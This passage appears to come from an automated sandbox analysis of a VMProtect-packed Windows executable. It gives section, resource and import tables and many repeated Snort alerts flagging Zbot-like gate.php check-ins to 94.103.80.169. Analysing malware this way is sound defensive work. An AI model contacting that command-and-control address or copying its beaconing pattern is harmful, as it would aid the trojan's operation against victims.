.rdata	0x94a000	0x4b8	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.eh_fram	0x94b000	0xa24	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.bss	0x94c000	0xb0	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.idata	0x94d000	0x10d0	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.CRT	0x94f000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.tls	0x950000	0x20	0x0	False	0	empty	0.0	IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_MEM_READ
.vmp0	0x951000	0x25595c	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.vmp1	0xba7000	0x6389f0	0x638a00	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x11e0000	0x10c2a	0x10e00	False	0.842563657407	data	7.51024493306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x11e0148	0x528	GLS_BINARY_LSB_FIRST
RT_ICON	0x11e0670	0x1428	dBase IV DBT of @.DBF, block length 5120, next free block index 40, next free block 0, next used block 0
RT_ICON	0x11e1a98	0x2d28	data
RT_ICON	0x11e47c0	0xc42a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x11f0bec	0x3e	data

Imports

DLL	Import
ADVAPI32.DLL	GetUserNameW
KERNEL32.dll	CreateThread
msvcrt.dll	_strdup
msvcrt.dll	__getmainargs
USER32.dll	BeginPaint
WTSAPI32.dll	WTSSendMessageW
KERNEL32.dll	VirtualQuery
USER32.dll	GetProcessWindowStation
KERNEL32.dll	LocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
USER32.dll	GetProcessWindowStation, GetUserObjectInformationW

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/15/21-08:40:05.882749	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49746	80	192.168.2.4	94.103.80.169
08/15/21-08:40:05.882749	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49746	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.904444	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.904444	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.938348	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.938348	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.938348	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.973021	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.973021	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:27.973021	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.121944	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.121944	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.121944	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.261063	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.261063	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.261063	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.401728	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.401728	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.401728	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.542479	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.542479	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.542479	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.683882	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.683882	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.683882	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.823501	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.823501	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.823501	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.964285	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.964285	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:28.964285	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.105283	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.105283	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.105283	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.245849	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.245849	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.245849	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.386343	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.386343	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.386343	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.527103	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.527103	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.527103	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.667126	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.667126	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.667126	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.813246	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.813246	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.813246	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.950616	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.950616	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:29.950616	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.089106	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.089106	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.089106	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.230158	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.230158	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.230158	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.371016	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.371016	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.371016	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.511422	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.511422	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.511422	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.651870	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.651870	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.651870	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.793706	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.793706	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.793706	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.933025	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.933025	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:30.933025	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.073612	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.073612	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.073612	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.216054	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.216054	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.216054	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.355764	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.355764	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.355764	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.497360	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.497360	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.497360	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.659485	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.659485	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.659485	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.935095	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.935095	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:31.935095	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.095565	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.095565	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.095565	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.251503	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.251503	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.251503	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.392554	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.392554	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.392554	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.892400	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.892400	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:32.892400	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:33.079744	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:33.079744	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:33.079744	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:33.231837	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:33.231837	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:33.231837	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.286202	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.286202	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.286202	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.452246	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.452246	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.452246	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.590132	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.590132	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.590132	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.731589	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.731589	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.731589	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.871100	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.871100	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:34.871100	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.011573	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.011573	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.011573	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.152735	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.152735	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.152735	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.294243	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.294243	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.294243	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.436077	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.436077	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.436077	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.574439	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.574439	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.574439	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.717246	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.717246	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.717246	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.855593	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.855593	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.855593	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.996122	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.996122	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:35.996122	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.136679	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.136679	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.136679	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.277352	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.277352	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.277352	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.418177	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.418177	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.418177	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.562252	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.562252	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.562252	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.701082	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49750	80	192.168.2.4	94.103.80.169
08/15/21-08:40:36.701082	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49750	80	192.168.2.4	94.103.80.169
